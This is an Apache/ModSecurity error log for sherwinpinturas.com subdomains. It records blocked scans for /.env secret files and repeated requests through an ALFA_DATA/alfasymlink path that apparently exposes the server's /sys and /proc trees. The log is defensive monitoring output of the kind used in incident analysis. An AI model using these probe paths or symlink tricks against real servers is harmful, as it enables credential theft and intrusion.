[Sat Oct 24 14:15:54.699577 2026] [security2:error] [pid 2677785:tid 2677785] [client 200.203.6.60:53769] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "atz12jscjnm-Rk8uGagqMwAAAAA"]
[Sat Oct 24 14:15:54.699933 2026] [security2:error] [pid 2677785:tid 2677785] [client 200.203.6.60:53769] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "atz12jscjnm-Rk8uGagqMwAAAAA"]
[Sat Oct 24 14:15:55.355140 2026] [security2:error] [pid 2677785:tid 2677785] [client 200.203.6.60:53769] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "atz12zscjnm-Rk8uGagqNAAAAAA"]
[Sat Oct 24 14:15:55.355462 2026] [security2:error] [pid 2677785:tid 2677785] [client 200.203.6.60:53769] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "atz12zscjnm-Rk8uGagqNAAAAAA"]
[Sat Oct 24 14:15:55.355868 2026] [security2:error] [pid 2677785:tid 2677785] [client 200.203.6.60:53769] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "atz12zscjnm-Rk8uGagqNAAAAAA"]
[Sat Oct 24 14:15:56.097385 2026] [security2:error] [pid 2677785:tid 2677785] [client 200.203.6.60:53769] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "atz13Dscjnm-Rk8uGagqNQAAAAA"]
[Sat Oct 24 14:15:56.097669 2026] [security2:error] [pid 2677785:tid 2677785] [client 200.203.6.60:53769] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "atz13Dscjnm-Rk8uGagqNQAAAAA"]
[Sat Oct 24 14:15:56.098041 2026] [security2:error] [pid 2677785:tid 2677785] [client 200.203.6.60:53769] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "atz13Dscjnm-Rk8uGagqNQAAAAA"]
[Sat Oct 24 14:15:58.154298 2026] [proxy_fcgi:error] [pid 2677785:tid 2677785] [client 200.203.6.60:53769] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 14:16:01.720909 2026] [security2:error] [pid 2677773:tid 2677773] [client 200.203.6.60:36861] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "atz14ZEknkbZNLYoFZ9cbwAAAAY"]
[Sat Oct 24 14:16:01.721187 2026] [security2:error] [pid 2677773:tid 2677773] [client 200.203.6.60:36861] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "atz14ZEknkbZNLYoFZ9cbwAAAAY"]
[Sat Oct 24 14:16:01.721495 2026] [security2:error] [pid 2677773:tid 2677773] [client 200.203.6.60:36861] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "atz14ZEknkbZNLYoFZ9cbwAAAAY"]
[Sat Oct 24 14:16:02.298224 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 34.194.14.255:31364] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:16:06.280478 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 52.5.232.250:21125] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:16:07.599756 2026] [security2:error] [pid 2677786:tid 2677786] [client 43.164.190.124:42732] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/debug_chiapas_1.html"] [unique_id "atz154Q_eexIMgmxi-uQuQAAAAE"]
[Sat Oct 24 14:16:10.227742 2026] [core:error] [pid 2677775:tid 2677775] (13)Permission denied: [client 23.21.179.120:58017] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/ehci-pci/uevent
[Sat Oct 24 14:16:18.224274 2026] [ssl:error] [pid 2677785:tid 2677785] (70014)End of file found: [client 54.147.238.89:18434] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:16:30.200732 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 50.16.72.185:52774] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:16:34.314631 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 184.73.195.18:53721] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:16:54.331447 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.2.191.202:38096] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:17:04.450731 2026] [ssl:error] [pid 2677785:tid 2677785] (70014)End of file found: [client 185.191.171.3:47462] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:17:06.093662 2026] [core:error] [pid 2677842:tid 2677842] (13)Permission denied: [client 185.191.171.9:54632] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_head_cache/cache_dma
[Sat Oct 24 14:17:12.947535 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 185.191.171.10:51444] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/damon_reclaim/parameters/wmarks_low
[Sat Oct 24 14:17:14.228532 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 52.203.237.170:37924] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:17:18.384190 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 184.73.47.24:27152] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:17:43.590714 2026] [core:error] [pid 2678927:tid 2678927] (13)Permission denied: [client 185.191.171.11:54088] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inet_peer_cache/sanity_checks
[Sat Oct 24 14:17:46.375606 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 98.83.178.66:18167] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:17:50.156560 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 18.215.77.19:27320] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:18:06.340480 2026] [ssl:error] [pid 2677842:tid 2677842] (70014)End of file found: [client 52.6.232.201:26394] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:18:10.495534 2026] [core:error] [pid 2677793:tid 2677793] (13)Permission denied: [client 18.232.11.247:53600] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/8250_lpss/unbind
[Sat Oct 24 14:18:26.228220 2026] [core:error] [pid 2677788:tid 2677788] (13)Permission denied: [client 34.239.85.139:51724] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/xen-platform-pci/new_id
[Sat Oct 24 14:18:26.228633 2026] [security2:error] [pid 2677788:tid 2677788] [client 34.239.85.139:51724] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/xen-platform-pci/new_id"] [unique_id "atz2cmHlETSj29Thy_T7EgAAAAM"]
[Sat Oct 24 14:18:26.228668 2026] [security2:error] [pid 2677788:tid 2677788] [client 34.239.85.139:51724] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/xen-platform-pci/new_id"] [unique_id "atz2cmHlETSj29Thy_T7EgAAAAM"]
[Sat Oct 24 14:18:30.227833 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 52.3.104.214:17497] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:18:34.390989 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 107.23.62.75:36004] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:18:42.205788 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 50.19.102.70:3823] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:18:50.205059 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 98.82.66.172:50024] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:18:58.142855 2026] [core:error] [pid 2677842:tid 2677842] (13)Permission denied: [client 44.210.213.220:21595] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:00/physical_node/driver/unbind
[Sat Oct 24 14:19:02.361985 2026] [core:error] [pid 2677843:tid 2677843] (13)Permission denied: [client 23.23.214.190:29936] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/QEMU0002:00/physical_node/driver/bind
[Sat Oct 24 14:19:06.513408 2026] [core:error] [pid 2677793:tid 2677793] (13)Permission denied: [client 44.194.134.53:30059] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/pci-stub/uevent
[Sat Oct 24 14:19:10.381619 2026] [ssl:error] [pid 2677773:tid 2677773] (70014)End of file found: [client 3.217.171.106:3229] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:19:18.297910 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 18.205.213.231:1806] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:19:26.325797 2026] [core:error] [pid 2677843:tid 2677843] (13)Permission denied: [client 34.225.243.131:40189] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/console/subsystem/tty22/subsystem/ttyS1/iomem_base
[Sat Oct 24 14:19:52.445408 2026] [authz_core:error] [pid 2677785:tid 2677785] [client 13.218.231.196:48002] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 14:19:54.160530 2026] [ssl:error] [pid 2677842:tid 2677842] (70014)End of file found: [client 18.232.12.157:16462] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:19:58.557670 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 34.236.135.14:33239] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:20:10.392173 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 18.235.81.246:54286] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:20:18.644068 2026] [core:error] [pid 2677785:tid 2677785] (13)Permission denied: [client 185.191.171.6:34634] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/alloc_calls
[Sat Oct 24 14:20:46.212214 2026] [ssl:error] [pid 2677793:tid 2677793] (70014)End of file found: [client 3.229.164.203:24845] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:20:54.221057 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 34.234.200.207:38197] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:20:59.792998 2026] [security2:error] [pid 2677773:tid 2677773] [client 18.183.70.39:61083] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atz3C5EknkbZNLYoFZ9cegAAAAY"]
[Sat Oct 24 14:20:59.793254 2026] [security2:error] [pid 2677773:tid 2677773] [client 18.183.70.39:61083] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atz3C5EknkbZNLYoFZ9cegAAAAY"]
[Sat Oct 24 14:20:59.793653 2026] [security2:error] [pid 2677773:tid 2677773] [client 18.183.70.39:61083] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atz3C5EknkbZNLYoFZ9cegAAAAY"]
[Sat Oct 24 14:21:06.243219 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 54.85.126.86:55126] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:21:10.508806 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 185.191.171.7:12300] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:21:24.993654 2026] [security2:error] [pid 2677788:tid 2677788] [client 18.183.70.39:61576] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atz3JGHlETSj29Thy_T7GQAAAAM"]
[Sat Oct 24 14:21:24.993940 2026] [security2:error] [pid 2677788:tid 2677788] [client 18.183.70.39:61576] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atz3JGHlETSj29Thy_T7GQAAAAM"]
[Sat Oct 24 14:21:24.994218 2026] [security2:error] [pid 2677788:tid 2677788] [client 18.183.70.39:61576] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atz3JGHlETSj29Thy_T7GQAAAAM"]
[Sat Oct 24 14:21:26.282073 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 35.171.141.42:11946] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:21:30.125438 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 54.88.84.219:38394] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:21:38.457619 2026] [core:error] [pid 2677842:tid 2677842] (13)Permission denied: [client 44.214.19.8:49661] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/node0/memory13/node0/memory1/subsystem/uevent
[Sat Oct 24 14:21:45.464202 2026] [core:error] [pid 2678927:tid 2678927] (13)Permission denied: [client 185.191.171.15:27788] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mm_struct/validate
[Sat Oct 24 14:21:54.274993 2026] [ssl:error] [pid 2677793:tid 2677793] (70014)End of file found: [client 54.204.12.115:19351] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:22:02.252945 2026] [core:error] [pid 2677785:tid 2677785] (13)Permission denied: [client 3.208.146.193:1054] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/piix4_smbus/uevent
[Sat Oct 24 14:22:06.297398 2026] [ssl:error] [pid 2677842:tid 2677842] (70014)End of file found: [client 52.54.95.127:4958] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:22:09.184212 2026] [security2:error] [pid 2677776:tid 2677776] [client 130.12.180.165:32910] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atz3UWZJIyiQiKFtr2-5QQAAABU"]
[Sat Oct 24 14:22:09.184471 2026] [security2:error] [pid 2677776:tid 2677776] [client 130.12.180.165:32910] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atz3UWZJIyiQiKFtr2-5QQAAABU"]
[Sat Oct 24 14:22:09.184794 2026] [security2:error] [pid 2677776:tid 2677776] [client 130.12.180.165:32910] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atz3UWZJIyiQiKFtr2-5QQAAABU"]
[Sat Oct 24 14:22:14.285448 2026] [ssl:error] [pid 2677773:tid 2677773] (70014)End of file found: [client 3.226.34.98:3941] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:22:22.340081 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 54.167.32.123:11052] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:22:30.590585 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 3.94.157.25:17053] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:22:38.285678 2026] [ssl:error] [pid 2677842:tid 2677842] (70014)End of file found: [client 52.0.218.219:23497] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:22:42.218782 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 44.221.37.41:56937] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:22:49.643949 2026] [core:error] [pid 2677788:tid 2677788] (13)Permission denied: [client 185.191.171.5:28608] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/xfrm_state/remote_node_defrag_ratio
[Sat Oct 24 14:22:54.272671 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 100.28.118.16:4744] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:23:30.387945 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 50.17.193.48:25233] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:23:34.678109 2026] [core:error] [pid 2678927:tid 2678927] (13)Permission denied: [client 3.222.190.107:23158] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event0/subsystem/event1/device/device/driver/serio0/firmware_node/subsystem/devices/device:06/physical_node/remove
[Sat Oct 24 14:23:38.322505 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 23.21.227.240:1742] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:23:50.874557 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 3.232.82.72:33577] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:23:54.825961 2026] [core:error] [pid 2677785:tid 2677785] (13)Permission denied: [client 23.21.179.27:57855] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0303:00/subsystem/drivers_probe
[Sat Oct 24 14:24:18.389425 2026] [core:error] [pid 2677788:tid 2677788] (13)Permission denied: [client 54.156.124.2:52355] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/virtio1/driver/uevent
[Sat Oct 24 14:24:22.307828 2026] [ssl:error] [pid 2677793:tid 2677793] (70014)End of file found: [client 54.197.114.76:31326] AH02013: coalesce failed to read from data bucket
